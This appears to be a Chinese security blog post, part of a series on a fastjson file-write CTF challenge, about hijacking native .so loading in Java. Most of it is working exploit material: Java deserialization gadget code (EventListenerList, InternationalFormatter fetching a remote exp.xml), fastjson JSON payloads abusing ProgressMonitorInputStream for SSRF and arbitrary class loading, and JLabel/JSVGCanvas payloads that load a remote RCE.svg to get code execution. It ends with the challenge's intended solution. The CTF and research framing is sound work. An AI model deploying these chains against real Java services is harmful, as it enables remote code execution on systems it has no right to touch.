1,如何触发加载so?
前文介绍了很多可以劫持的so,如何触发呢?绝大部分System.loadLibrary()都写在静态代码块,只需要简单Class.forName()就行。

forName()第二个参数决定了是否加载静态代码块,劫持so只需要第二个参数为true就行,好消息是常用的写法基本都为true。
//触发staticClass.forName("test.User");Class.forName("test.User", true, Thread.currentThread().getContextClassLoader());new test.User();Thread.currentThread().getContextClassLoader().loadClass("test.User").newInstance();//不触发staticClass.forName("test.User", false, Thread.currentThread().getContextClassLoader());Thread.currentThread().getContextClassLoader().loadClass("test.User");
第三个参数是ClassLoader,它决定了从哪儿取类,对于tomcat-docbase手法比较重要,必须要用Thread.currentThread().getContextClassLoader(),单String的Class.forName(“xxx”)是不行的。
所以我们的目标就是尽量找既可以so劫持,又可以tomcat-docbase类加载的触发链,常见入口是原生反序列化链和fastjson反序列化链。
2,原生反序列化链
对于原生反序列化链触发so劫持来说,是比较容易的,因为部分so的相关类,本身就实现了Serializable,最典型的就是awt/swing触发System.loadLibrary(“awt”)。随便一个相关类都能触发java.awt.Component的静态代码,进而Toolkit.loadLibraries()->System.loadLibrary(“awt”)

那么问题来了Class本身也实现了Serializable,我直接反序列化Class行不行呢?还真不行,可以看到第二个参数刚好为false。

所以需要找一些可以触发任意类加载甚至实例化的链,很容易从传统反序列化链中找到。比如c3p0链。

以及getter+jdbc中的DriverClassName实例化,例子为jackson+DruidXADataSource

当然,这些主流链自己就能RCE了,还费这劲搞什么劫持so,我们需要找到一些纯粹的ClassForName链或者newInstance链。
3,EventListenerList(推荐)
作为新的toString()链常客,很早就注意到它的readObject()可以触发Class.forName()了。

String classname = "Tomcat678910cmdecho";Class clazz = null;try {clazz = Class.forName(classname);} catch (Exception e) {ClassPool pool = ClassPool.getDefault();CtClass ctClass = pool.makeClass(classname);clazz = ctClass.toClass();}EventListenerList eventListenerList = new EventListenerList();UndoManager undoManager = new UndoManager();Reflections.setFieldValue(eventListenerList, "listenerList", new Object[]{clazz, undoManager});ObjectOutputStream oos2 = new ObjectOutputStream(new FileOutputStream("1.ser"));oos2.writeObject(eventListenerList);ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));ois.readObject();
4,InternationalFormatter(推荐)
遗憾的InternationalFormatter反序列化链
这个链作为RCE不完整,可以实例化任意类,传入的单String参数却不受控制。这不刚好是一个完美的newInstance链吗?没想到吧,这篇文章就已经有伏笔了。
当然,这些都是超冷门项目,这种刻舟求剑的东西似乎除了CTF没什么实际意义(真的如此吗?)。
Class clazz = ClassPathXmlApplicationContext.class;String arg = "http://127.0.0.1:5667/exp.xml";InternationalFormatter internationalFormatter = new InternationalFormatter();DefaultFormatter defaultFormatter = new DefaultFormatter();JFormattedTextField jFormattedTextField = new JFormattedTextField(defaultFormatter);jFormattedTextField.setValue(arg);MessageFormat format = new MessageFormat("{0}");internationalFormatter.setFormat(format);Reflections.setFieldValue(internationalFormatter, "ftf", jFormattedTextField);Reflections.setFieldValue(internationalFormatter, "allowsInvalid", false);Reflections.setFieldValue(internationalFormatter, "valueClass", clazz);ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.ser"));oos.writeObject(internationalFormatter);ObjectInputStream ois = new ObjectInputStream(new FileInputStream("1.ser"));ois.readObject();

5,UIManager
codeql找一下看还有没有其他的
class ReadObject extends Sink{ReadObject(){this.hasName("readObject") andthis.isPrivate() andthis.getReturnType() instanceof VoidType}}class ClassLoader extends Source {ClassLoader() {this.hasName("getContextClassLoader")}}class NewInstance extends Source {NewInstance() {this.getACallee().hasName("newInstance")}}MethodAccess seekSink(Method sourceMethod){exists(MethodAccess ma, Method method|(ma.getEnclosingStmt() = sourceMethod.getBody().getAChild*() andmethod = ma.getMethod()) |if method instanceof ClassLoaderthen result = maelse result = seekSink(method))}from ReadObject sinkselect sink.getDeclaringType(),sink, seekSink(sink)

EventListenerList已经说过了,swing相关类JLabel/JLayer/JMenuItem肯定可以触发awt so加载,还能触发任意类加载吗?看看调用栈。
UIManager.initializeAuxiliaryLAFs(Properties) line: 1421UIManager.initialize() line: 1518UIManager.maybeInitialize() line: 1483UIManager.getUI(JComponent) line: 1056JMenuItem.updateUI() line: 243JMenuItem.readObject(ObjectInputStream) line: 759

className是从swingProps取出来的,swingProps怎么来的,往前导导。
UIManager.makeSwingPropertiesFilename() line: 290UIManager$1.run() line: 1291AccessController.doPrivileged(PrivilegedAction<T>) line: not available [native method]UIManager.loadSwingProperties() line: 1282UIManager.initialize() line: 1515UIManager.maybeInitialize() line: 1483UIManager.getUI(JComponent) line: 1056JMenuItem.updateUI() line: 243JMenuItem.readObject(ObjectInputStream) line: 759

取java.home/conf/swing.properties,key为swing.auxiliarylaf(同理swing.defaultlaf也可以)。测试一下。
/usr/lib/jvm/java-11-openjdk-amd64/conf/swing.properties
写入内容
swing.auxiliarylaf=Tomcat678910cmdecho
同样需要root权限,效果如下。

但由于是UIManager初始化触发,所以只能触发一次,第二次过不去这里的校验。

6,ProgressMonitorInputStream
JLabel/JLayer/JMenuItem反序列化时能触发updateUI(),实例化时一样也能触发啊,那么fastjson反序列化能够利用这条UIManager链吗?还真可以。
我找到一个关键类javax.swing.ProgressMonitorInputStream,它可以期望java.awt.Component。

Component为awt核心类,是很多swing组件的父类,比如JLabel/JLayer/JMenuItem。
但fastjson为了防new JEditorPane().setPage()这个SSRF的setter链,拉黑了javax.swing.J

但没关系,在jdk11中,有相当多的非javax.swing.J开头的子类。
{"@type": "java.lang.AutoCloseable","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": {"@type": "java.awt.Button"}}

触发JEditorPane SSRF
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": {"@type": "sun.tools.jconsole.HTMLPane","page": "http://127.0.0.1:5667"},}
触发UIManager,要加载的类写在swing.properties中
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": {"@type": "javax.swing.colorchooser.DefaultPreviewPanel"}}

7,JLabel(推荐)
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": {"@type": "javax.swing.DefaultListCellRenderer","text": "<html><img src=http://127.0.0.1:81/1.jpg></html>"}}
在CobaltStrike反制漏洞中,利用了svg远程加载jar实现RCE,JLabel链同样可以。
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": {"@type": "javax.swing.DefaultListCellRenderer","text": "<html><object classid='org.apache.batik.swing.JSVGCanvas'><param name='URI' value='http://127.0.0.1:81/RCE.svg'></object></html>"}}
当然,也可以不用JLabel过渡,直接JSVGCanvas.setURI()
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": {"@type": "org.apache.batik.swing.JSVGCanvas","URI": "http://127.0.0.1:81/RCE.svg"}}
漏洞核心原理是,JLabel的object标签可以触发任意类实例化的,只不过需要是Component子类才能调setter。但我们不需要调setter啊,能够加载或者实例化类就行了。
{"@type": "java.io.InputStream","@type": "javax.swing.ProgressMonitorInputStream","parentComponent": {"@type": "javax.swing.DefaultListCellRenderer","text": "<html><object classid='sun.awt.image.JPEGImageDecoder'></object></html>"}}

8,结尾
当然,除了任意类加载触发so之外,在jdk11中还有很多很多链可以触发特定so。so劫持篇就介绍了dns/awt白名单两种办法,其他人也陆陆续续发现了一些。
至此,fastjson写文件挑战2想让大家学习的就差不多结束了。最后肯定还有人想要知道加固版本的预期解是什么。
其实就是找jdk中可以加载的so,在linux系统中并不存在。因此不需要覆盖so,只需要向usr_paths写入一个so,比如/lib/lible.so,再用JLabel链触发就行。
这样的类目前找到两个,我找到的是。
jdk.internal.jline.WindowsTerminal

su18找到的是
sun.security.jgss.wrapper.SunNativeProvider

那么fastjson写文件挑战2就完美结束了,远程环境关闭,大家可以自行搭建docker在本地上玩。
下一次【ssti挑战】正在筹备中。
本篇文章来源于微信公众号: 珂技知识分享